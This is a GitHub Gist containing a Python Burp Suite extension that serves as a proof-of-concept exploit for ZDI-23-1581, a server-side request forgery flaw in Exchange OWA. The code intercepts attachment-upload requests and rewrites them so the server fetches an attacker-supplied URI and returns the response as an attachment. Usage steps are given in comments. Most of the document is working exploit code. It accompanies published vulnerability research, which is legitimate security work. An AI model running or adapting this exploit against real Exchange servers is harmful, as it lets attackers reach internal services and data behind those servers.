Skip to content

Instantly share code, notes, and snippets.

@v-p-b
Last active December 7, 2023 20:13
Show Gist options
  • Save v-p-b/44d63eeca2e192a9903de058a34e6827 to your computer and use it in GitHub Desktop.
Save v-p-b/44d63eeca2e192a9903de058a34e6827 to your computer and use it in GitHub Desktop.
ZDI-CAN-22101 / ZDI-23-1581 - Exchange SSRF PoC exploit with response retrieval for Burp Suite
# -*- coding: utf-8 -*-
from burp import IBurpExtender
from burp import IHttpListener
import json
# ZDI-CAN-22101 / ZDI-23-1581 - Exchange SSRF PoC exploit with response retrieval for Burp Suite
# by buherator, original research by Piotr Bazydło (@chudypb)
#
# Based on:
# https://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments
#
# 1) Create a new draft and attach a local _binary_ file to it while the extension is loaded (if you attach txt, the payload will be sent in header instead of the POST body)
# 2) The attachment component on the UI will spin forever
# 3) Reload your draft
# 4) Open the pocname.txt attachment
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("ZDI-CAN-22101/ZDI-23-1581")
callbacks.registerHttpListener(self)
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if not messageIsRequest:
return
# Basec request parsing
request = messageInfo.getRequest()
requestStr = self._helpers.bytesToString(request)
requestInfo = self._helpers.analyzeRequest(request)
if not "action=CreateAttachmentFromLocalFile" in requestStr:
return
# Data extraction
headers = requestInfo.getHeaders()
print(repr(headers))
bodyBytes = request[requestInfo.getBodyOffset() :]
bodyStr = self._helpers.bytesToString(bodyBytes)
bodyObj = json.loads(bodyStr)
msgId = bodyObj["Body"]["ParentItemId"]["Id"]
changeKey = bodyObj["Body"]["ParentItemId"]["ChangeKey"]
print(msgId, changeKey)
uri = "http://127.0.0.1/"
with open("/tmp/uri.txt", "r") as urifile: # Ain't nobody got time for GUIs
uri = urifile.read().strip()
print(uri)
# Generate new request
newBodyObj = {
"__type": "CreateAttachmentFromUriRequestWrapper:#Exchange",
"isInline": "false",
"itemId": {
"__type": "ItemId:#Exchange",
"ChangeKey": changeKey,
"Id": msgId,
},
"name": "pocname.txt",
"subscriptionId": "1",
"uri": uri,
}
newBody = json.dumps(newBodyObj)
print(newBody)
newHeaders = []
for h in headers:
newHeaders.append(
h.replace(
"CreateAttachmentFromLocalFile", "CreateAttachmentFromUri"
)
)
newReq = self._helpers.buildHttpMessage(newHeaders, newBody)
messageInfo.setRequest(newReq)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment